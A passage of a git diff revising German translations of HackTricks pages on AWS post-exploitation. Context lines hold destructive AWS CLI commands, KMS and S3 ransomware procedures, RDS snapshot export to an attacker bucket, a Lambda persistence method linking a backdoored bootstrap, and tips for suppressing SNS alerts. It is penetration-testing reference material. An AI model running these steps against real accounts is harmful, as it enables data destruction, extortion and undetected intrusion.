darauf zu tun hat**. Beachten Sie, dass der **EKS-Cluster möglicherweise Protokolle aktiviert hat**, die diesen Zugriff protokollieren (obwohl sie standardmäßig deaktiviert sind). ### EKS Lösegeld? -Standardmäßig hat der **Benutzer oder die Rolle, die** einen Cluster erstellt hat, **IMMER Administratorrechte** über den Cluster. Und das ist der einzige "sichere" Zugriff, den AWS über den Kubernetes-Cluster haben wird. +Standardmäßig hat der **Benutzer oder die Rolle, die** einen Cluster erstellt hat, **IMMER Administratorrechte** über den Cluster. Und das ist der einzige "sichere" Zugriff, den AWS über den Kubernetes-Cluster hat. Wenn also ein **Angreifer einen Cluster mit Fargate kompromittiert** und **alle anderen Administratoren entfernt** und **den AWS-Benutzer/die Rolle, die den Cluster erstellt hat, löscht**, ~~könnte der Angreifer **den Cluster erpresst haben**~~**. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 29497577a..f63242164 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -23,7 +23,7 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers ### `elasticbeanstalk:TerminateEnvironment` -> [!HINWEIS] +> [!NOTE] > TODO: Testen, ob weitere Berechtigungen erforderlich sind Ein Angreifer mit der Berechtigung `elasticbeanstalk:TerminateEnvironment` kann **eine bestehende Elastic Beanstalk-Umgebung beenden**, was zu Ausfallzeiten der Anwendung und potenziellem Datenverlust führen kann, wenn die Umgebung nicht für Backups konfiguriert ist. @@ -34,7 +34,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env ### `elasticbeanstalk:DeleteApplication` -> [!HINWEIS] +> [!NOTE] > TODO: Testen, ob weitere Berechtigungen erforderlich sind Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplication` kann **eine gesamte Elastic Beanstalk-Anwendung löschen**, einschließlich aller ihrer Versionen und Umgebungen. Diese Aktion könnte zu einem erheblichen Verlust von Anwendungsressourcen und -konfigurationen führen, wenn keine Sicherung vorhanden ist. @@ -52,7 +52,7 @@ Ein Angreifer mit der Berechtigung `elasticbeanstalk:SwapEnvironmentCNAMEs` kann ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` -**Potenzielle Auswirkungen**: Den Benutzern die falsche Version der Anwendung bereitzustellen oder unbeabsichtigtes Verhalten in der Anwendung aufgrund vertauschter Umgebungen zu verursachen. +**Potenzielle Auswirkungen**: Bereitstellung der falschen Version der Anwendung für Benutzer oder Verursachung unbeabsichtigten Verhaltens in der Anwendung aufgrund vertauschter Umgebungen. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` @@ -65,6 +65,6 @@ aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2: aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` -**Potenzielle Auswirkungen**: Falsche Ressourcenzuweisung, Abrechnung oder Ressourcenverwaltung aufgrund hinzugefügter oder entfernter Tags. +**Potenzielle Auswirkungen**: Falsche Ressourcenzuweisung, Abrechnung oder Ressourcenmanagement aufgrund hinzugefügter oder entfernter Tags. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index e4a98b3f2..68ea0f2c2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -14,11 +14,11 @@ Für weitere Informationen über IAM-Zugriff: Wenn Sie **einem externen Konto (A)** den Zugriff auf eine **Rolle** in Ihrem Konto erlauben, haben Sie wahrscheinlich **0 Sichtbarkeit** darüber, **wer genau auf dieses externe Konto zugreifen kann**. Das ist ein Problem, denn wenn ein anderes externes Konto (B) auf das externe Konto (A) zugreifen kann, ist es möglich, dass **B auch auf Ihr Konto zugreifen kann**. -Daher ist es möglich, beim Erlauben eines externen Kontos, auf eine Rolle in Ihrem Konto zuzugreifen, eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenfolge, die das externe Konto (A) **angeben muss**, um **die Rolle in Ihrer Organisation zu übernehmen**. Da das **externe Konto B diese Zeichenfolge nicht kennt**, wird es **nicht in der Lage sein, auf Ihre Rolle zuzugreifen**, selbst wenn es Zugriff auf A hat. +Daher ist es möglich, beim Erlauben eines externen Kontos den Zugriff auf eine Rolle in Ihrem Konto eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenfolge, die das externe Konto (A) **angeben muss**, um **die Rolle in Ihrer Organisation zu übernehmen**. Da das **externe Konto B diese Zeichenfolge nicht kennt**, wird es, selbst wenn es Zugriff auf A hat, **nicht in der Lage sein, auf Ihre Rolle zuzugreifen**.
-Beachten Sie jedoch, dass dieses `ExternalId` "Geheimnis" **kein Geheimnis** ist; jeder, der die IAM-Rollenübernahme-Richtlinie **lesen kann, wird es sehen können**. Solange das externe Konto A es kennt, das externe Konto **B es jedoch nicht kennt**, **verhindert es, dass B A missbraucht, um auf Ihre Rolle zuzugreifen**. +Beachten Sie jedoch, dass diese `ExternalId` "Geheimnis" **kein Geheimnis** ist; jeder, der die IAM-Rollenübernahme-Richtlinie **lesen kann, wird sie sehen können**. Solange das externe Konto A es kennt, das externe Konto **B es jedoch nicht kennt**, **verhindert es, dass B A missbraucht, um auf Ihre Rolle zuzugreifen**. Beispiel: ```json @@ -43,7 +43,7 @@ Beispiel: ### Unerwartete Vertrauensstellungen -#### Platzhalter als Prinzipal +#### Wildcard als Prinzipal ```json { "Action": "sts:AssumeRole", @@ -73,7 +73,7 @@ Diese Richtlinie **erlaubt jedem Konto**, ihr apigateway so zu konfigurieren, da } } ``` -Wenn ein S3-Bucket als Principal angegeben ist, da S3-Buckets keine Kontonummer haben, wenn Sie **Ihren Bucket gelöscht haben und der Angreifer ihn in seinem eigenen Konto erstellt hat**, könnte er dies ausnutzen. +Wenn ein S3-Bucket als Principal angegeben wird, da S3-Buckets keine Account-ID haben, wenn Sie **Ihren Bucket gelöscht haben und der Angreifer** ihn in seinem eigenen Konto erstellt hat, könnte er dies ausnutzen. #### Nicht unterstützt ```json @@ -86,7 +86,7 @@ Wenn ein S3-Bucket als Principal angegeben ist, da S3-Buckets keine Kontonummer ``` Ein gängiger Weg, um Probleme mit verwirrten Stellvertretern zu vermeiden, ist die Verwendung einer Bedingung mit `AWS:SourceArn`, um die Ursprungs-ARN zu überprüfen. Allerdings **unterstützen einige Dienste das möglicherweise nicht** (wie CloudTrail laut einigen Quellen). -## References +## Referenzen - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 9c5720f13..35b85f848 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -60,9 +60,9 @@ aws kms decrypt \ ``` ### KMS Ransomware -Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Richtlinie von Schlüsseln ändern und **seinem Konto Zugriff darauf gewähren**, während der Zugriff, der dem legitimen Konto gewährt wurde, entfernt wird. +Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Richtlinie der Schlüssel ändern und **seinem Konto Zugriff darauf gewähren**, während der Zugriff, der dem legitimen Konto gewährt wurde, entfernt wird. -Dann können die Benutzer des legitimen Kontos keine Informationen von einem Dienst abrufen, der mit diesen Schlüsseln verschlüsselt wurde, was eine einfache, aber effektive Ransomware über das Konto schafft. +Dann können die Benutzer des legitimen Kontos auf keine Informationen von Diensten zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, was eine einfache, aber effektive Ransomware über das Konto schafft. > [!WARNING] > Beachten Sie, dass **AWS verwaltete Schlüssel nicht von diesem Angriff betroffen sind**, nur **vom Kunden verwaltete Schlüssel**. @@ -105,7 +105,7 @@ Es gibt einen weiteren Weg, um eine globale KMS-Ransomware durchzuführen, der d - Erstellen Sie einen neuen **Schlüssel mit einem vom Angreifer importierten Schlüsselmaterial** - **Re-verschlüsseln Sie ältere Daten**, die mit der vorherigen Version verschlüsselt wurden, mit der neuen. - **Löschen Sie den KMS-Schlüssel** -- Jetzt könnte nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, in der Lage sein, die verschlüsselten Daten zu entschlüsseln +- Jetzt könnte nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, die verschlüsselten Daten entschlüsseln ### Schlüssel zerstören ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index 11e02aaa3..ee016d800 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -7,18 +7,18 @@

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

1. **Slicer** ist ein Prozess außerhalb des Containers, der **Aufrufe** an den **Init**-Prozess **sendet**. -2. Der Init-Prozess hört auf Port **9001** und bietet einige interessante Endpunkte an: +2. Der Init-Prozess hört auf Port **9001** und exponiert einige interessante Endpunkte: - **`/2018-06-01/runtime/invocation/next`** – den nächsten Aufrufereignis abrufen - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – die Handler-Antwort für den Aufruf zurückgeben - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – einen Ausführungsfehler zurückgeben -3. **bootstrap.py** hat eine Schleife, die Aufrufe vom Init-Prozess abruft und den Benutzer-Code aufruft, um sie zu verarbeiten (**`/next`**). +3. **bootstrap.py** hat eine Schleife, die Aufrufe vom Init-Prozess erhält und den Benutzer-Code aufruft, um sie zu verarbeiten (**`/next`**). 4. Schließlich sendet **bootstrap.py** die **Antwort** an Init. Beachten Sie, dass bootstrap den Benutzer-Code als Modul lädt, sodass jede Codeausführung, die vom Benutzer-Code durchgeführt wird, tatsächlich in diesem Prozess stattfindet. ## Stehlen von Lambda-Anfragen -Das Ziel dieses Angriffs ist es, den Benutzer-Code dazu zu bringen, einen bösartigen **`bootstrap.py`**-Prozess innerhalb des **`bootstrap.py`**-Prozesses auszuführen, der die verwundbare Anfrage verarbeitet. Auf diese Weise wird der **bösartige Bootstrap**-Prozess beginnen, mit dem Init-Prozess zu **kommunizieren**, um die Anfragen zu bearbeiten, während der **legitime** Bootstrap **gefangen** ist und den bösartigen ausführt, sodass er keine Anfragen an den Init-Prozess stellt. +Ziel dieses Angriffs ist es, den Benutzer-Code einen bösartigen **`bootstrap.py`**-Prozess innerhalb des **`bootstrap.py`**-Prozesses ausführen zu lassen, der die verwundbare Anfrage verarbeitet. Auf diese Weise wird der **bösartige Bootstrap**-Prozess beginnen, mit dem Init-Prozess zu **kommunizieren**, um die Anfragen zu bearbeiten, während der **legitime** Bootstrap **gefangen** ist und den bösartigen ausführt, sodass er keine Anfragen an den Init-Prozess stellt. Dies ist eine einfache Aufgabe, da der Code des Benutzers vom legitimen **`bootstrap.py`**-Prozess ausgeführt wird. Der Angreifer könnte also: @@ -32,7 +32,7 @@ Dies ist eine einfache Aufgabe, da der Code des Benutzers vom legitimen **`boots ### Angriffs Schritte 1. Eine **RCE**-Schwachstelle finden. -2. Einen **bösartigen** **Bootstrap** generieren (z.B. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) +2. Einen **bösartigen** **Bootstrap** generieren (z.B. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)). 3. **Führen** Sie den bösartigen Bootstrap aus. Sie können diese Aktionen einfach ausführen, indem Sie: diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md index 3b25c0277..44bc95af2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md @@ -12,7 +12,7 @@ Für weitere Informationen, siehe: ### Alte DB-Snapshots wiederherstellen -Wenn die DB Snapshots hat, könnten Sie in der Lage sein, **sensible Informationen zu finden, die derzeit in alten Snapshots gelöscht sind**. **Stellen Sie** den Snapshot in einer **neuen Datenbank** wieder her und überprüfen Sie ihn. +Wenn die DB Snapshots hat, könnten Sie **sensible Informationen finden, die derzeit in alten Snapshots gelöscht sind**. **Stellen** Sie den Snapshot in einer **neuen Datenbank** wieder her und überprüfen Sie ihn. ### Instanz-Snapshots wiederherstellen @@ -21,7 +21,7 @@ Oder **exportieren Sie den Snapshot zu einem AMI in EC2** und folgen Sie den Sch ### Zugriff auf sensible Informationen -Überprüfen Sie die Lightsail privesc-Optionen, um verschiedene Möglichkeiten zu lernen, um auf potenziell sensible Informationen zuzugreifen: +Überprüfen Sie die Lightsail privesc-Optionen, um verschiedene Möglichkeiten zu lernen, wie Sie auf potenziell sensible Informationen zugreifen können: {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md index 7c4afc75e..fd351bd63 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md @@ -1,16 +1,16 @@ -# AWS - Organizations Post Exploitation +# AWS - Organisationen Post-Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Organisationen -Für weitere Informationen zu AWS-Organisationen siehe: +Für weitere Informationen zu AWS Organizations siehe: {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -### Verlasse die Organisation +### Verlasse die Org ```bash aws organizations deregister-account --account-id --region ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index fc7d141f6..013da8f39 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -73,7 +73,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final > [!HINWEIS] > TODO: Test -Ein Angreifer mit dieser Berechtigung kann **einen RDS-Instanz-Snapshot in einen S3-Bucket exportieren**. Wenn der Angreifer die Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen. +Ein Angreifer mit dieser Berechtigung kann **ein RDS-Instanz-Snapshot in einen S3-Bucket exportieren**. Wenn der Angreifer die Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 5fa6582e9..2f379f65e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### Sensible Informationen -Manchmal können Sie sensible Informationen in lesbarer Form in den Buckets finden. Zum Beispiel Terraform-Zustandsgeheimnisse. +Manchmal können Sie sensible Informationen in lesbaren Buckets finden. Zum Beispiel Terraform-Zustandsgeheimnisse. ### Pivoting @@ -25,13 +25,13 @@ In diesem Szenario **erstellt der Angreifer einen KMS (Key Management Service) S Der Angreifer identifiziert einen Ziel-**S3-Bucket und erhält Schreibzugriff** darauf, indem er verschiedene Methoden anwendet. Dies könnte auf eine schlechte Bucket-Konfiguration zurückzuführen sein, die ihn öffentlich macht, oder der Angreifer erhält Zugriff auf die AWS-Umgebung selbst. Der Angreifer zielt typischerweise auf Buckets ab, die sensible Informationen wie personenbezogene Daten (PII), geschützte Gesundheitsinformationen (PHI), Protokolle, Backups und mehr enthalten. -Um festzustellen, ob der Bucket für Ransomware angegriffen werden kann, überprüft der Angreifer seine Konfiguration. Dazu gehört die Überprüfung, ob **S3 Object Versioning** aktiviert ist und ob **Multi-Faktor-Authentifizierungslöschung (MFA-Löschung) aktiviert ist**. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert ist, aber MFA-Löschung deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Wenn sowohl Object Versioning als auch MFA-Löschung aktiviert sind, wird es für den Angreifer schwieriger, diesen speziellen Bucket mit Ransomware anzugreifen. +Um festzustellen, ob der Bucket für Ransomware angegriffen werden kann, überprüft der Angreifer seine Konfiguration. Dazu gehört die Überprüfung, ob **S3 Object Versioning** aktiviert ist und ob **Multi-Faktor-Authentifizierungslöschung (MFA delete) aktiviert ist**. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert ist, aber MFA delete deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Wenn sowohl Object Versioning als auch MFA delete aktiviert sind, wird es für den Angreifer schwieriger, diesen speziellen Bucket mit Ransomware anzugreifen. Mit der AWS-API **ersetzt der Angreifer jedes Objekt im Bucket durch eine verschlüsselte Kopie mit seinem KMS-Schlüssel**. Dies verschlüsselt effektiv die Daten im Bucket, sodass sie ohne den Schlüssel nicht zugänglich sind. Um zusätzlichen Druck auszuüben, plant der Angreifer die Löschung des KMS-Schlüssels, der im Angriff verwendet wurde. Dies gibt dem Ziel ein 7-tägiges Zeitfenster, um ihre Daten wiederherzustellen, bevor der Schlüssel gelöscht wird und die Daten dauerhaft verloren gehen. -Schließlich könnte der Angreifer eine letzte Datei hochladen, die normalerweise "ransom-note.txt" heißt und Anweisungen für das Ziel enthält, wie es seine Dateien wiederherstellen kann. Diese Datei wird unverschlüsselt hochgeladen, wahrscheinlich um die Aufmerksamkeit des Ziels zu erregen und es auf den Ransomware-Angriff aufmerksam zu machen. +Schließlich könnte der Angreifer eine letzte Datei hochladen, die normalerweise "ransom-note.txt" heißt und Anweisungen für das Ziel enthält, wie es seine Dateien abrufen kann. Diese Datei wird unverschlüsselt hochgeladen, wahrscheinlich um die Aufmerksamkeit des Ziels zu erregen und es auf den Ransomware-Angriff aufmerksam zu machen. **Für weitere Informationen** [**prüfen Sie die ursprüngliche Forschung**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 839b360ab..881f88f58 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -16,10 +16,10 @@ Die **Secrets selbst sind sensible Informationen**, [siehe die Privesc-Seite](.. ### DoS Secret-Wert ändern -Durch Ändern des Wertes des Secrets könntest du **alle Systeme, die von diesem Wert abhängen, DoS.** +Durch das Ändern des Wertes des Secrets könntest du **das gesamte System, das von diesem Wert abhängt, DoS.** > [!WARNING] -> Beachte, dass frühere Werte ebenfalls gespeichert werden, sodass es einfach ist, zum vorherigen Wert zurückzukehren. +> Beachte, dass vorherige Werte ebenfalls gespeichert werden, sodass es einfach ist, zum vorherigen Wert zurückzukehren. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index b66bffcbf..3f6eee515 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -17,7 +17,7 @@ Eine E-Mail senden. aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` -Still to test. +Noch zu testen. ### `ses:SendRawEmail` @@ -25,23 +25,23 @@ Eine E-Mail senden. ```bash aws ses send-raw-email --raw-message file://message.json ``` -Still to test. +Noch zu testen. ### `ses:SendTemplatedEmail` -Eine E-Mail basierend auf einer Vorlage senden. +Senden Sie eine E-Mail basierend auf einer Vorlage. ```bash aws ses send-templated-email --source --destination --template ``` -Still to test. +Noch zu testen. ### `ses:SendBulkTemplatedEmail` -Senden Sie eine E-Mail an mehrere Empfänger +Senden Sie eine E-Mail an mehrere Empfänger. ```bash aws ses send-bulk-templated-email --source --template ``` -Still to test. +Noch zu testen. ### `ses:SendBulkEmail` @@ -55,15 +55,13 @@ Senden Sie eine **Bounce-E-Mail** über eine empfangene E-Mail (die anzeigt, das ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` -Still to test. - ### `ses:SendCustomVerificationEmail` -Dies sendet eine benutzerdefinierte Bestätigungs-E-Mail. Möglicherweise benötigen Sie auch Berechtigungen, um die Vorlagen-E-Mail zu erstellen. +Dies sendet eine angepasste Bestätigungs-E-Mail. Möglicherweise benötigen Sie auch Berechtigungen, um die Vorlage für die E-Mail zu erstellen. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -Still to test. +Noch zu testen. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 4a55c3560..09477e3e4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -12,7 +12,7 @@ Für weitere Informationen: ### Nachrichten stören -In mehreren Fällen werden SNS-Themen verwendet, um Nachrichten an Plattformen zu senden, die überwacht werden (E-Mails, Slack-Nachrichten...). Wenn ein Angreifer das Senden der Nachrichten verhindert, die über seine Präsenz in der Cloud informieren, könnte er unentdeckt bleiben. +In mehreren Fällen werden SNS-Themen verwendet, um Nachrichten an überwachte Plattformen (E-Mails, Slack-Nachrichten...) zu senden. Wenn ein Angreifer das Senden der Nachrichten verhindert, die über seine Anwesenheit in der Cloud informieren, könnte er unentdeckt bleiben. ### `sns:DeleteTopic` @@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr ### `sns:Subscribe` , `sns:Unsubscribe` -Ein Angreifer könnte sich an ein SNS-Thema anmelden oder abmelden, wodurch er möglicherweise unbefugten Zugriff auf Nachrichten erhält oder die normale Funktionsweise von Anwendungen, die auf das Thema angewiesen sind, stört. +Ein Angreifer könnte sich an ein SNS-Thema anmelden oder abmelden, wodurch er möglicherweise unbefugten Zugriff auf Nachrichten erhält oder die normale Funktion von Anwendungen, die auf das Thema angewiesen sind, stört. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn @@ -54,15 +54,15 @@ Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-The aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` -**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität von Anwendungen, die auf das Thema angewiesen sind. +**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität für Anwendungen, die auf das Thema angewiesen sind. -### `sns:TagResource`, `sns:UntagResource` +### `sns:TagResource` , `sns:UntagResource` -Ein Angreifer könnte Tags von SNS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde. +Ein Angreifer könnte Tags von SNS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören könnte. ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` -**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcennachverfolgung und tagbasierter Zugriffskontrollrichtlinien. +**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 5d80600b0..ed786db86 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### `sqs:SendMessage` , `sqs:SendMessageBatch` -Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Warteschlange senden, was potenziell zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte. +Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an die SQS-Warteschlange senden, was möglicherweise zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries @@ -21,7 +21,7 @@ aws sqs send-message-batch --queue-url --entries ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen könnte, die auf diese Nachrichten angewiesen sind. +Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen kann, die auf diese Nachrichten angewiesen sind. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle @@ -43,7 +43,7 @@ Ein Angreifer könnte alle Nachrichten aus einer SQS-Warteschlange löschen, was ```arduino Copy codeaws sqs purge-queue --queue-url ``` -**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die auf die bereinigten Nachrichten angewiesen sind. +**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die auf die entfernten Nachrichten angewiesen sind. ### `sqs:SetQueueAttributes` @@ -60,7 +60,7 @@ Ein Angreifer könnte Tags von SQS-Ressourcen hinzufügen, ändern oder entferne aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` -**Potenzielle Auswirkungen**: Störung der Kostenverteilung, Ressourcenverfolgung und tagbasierten Zugriffskontrollrichtlinien. +**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien. ### `sqs:RemovePermission` @@ -68,6 +68,6 @@ Ein Angreifer könnte Berechtigungen für legitime Benutzer oder Dienste widerru ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` -**Potenzielle Auswirkungen**: Störung der normalen Funktionsweise von Anwendungen, die auf die Warteschlange angewiesen sind, aufgrund unbefugter Entfernung von Berechtigungen. +**Potenzielle Auswirkungen**: Störung der normalen Funktion von Anwendungen, die auf die Warteschlange angewiesen sind, aufgrund unbefugter Entfernung von Berechtigungen. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 3b7eab11f..fb4f6ae89 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -23,8 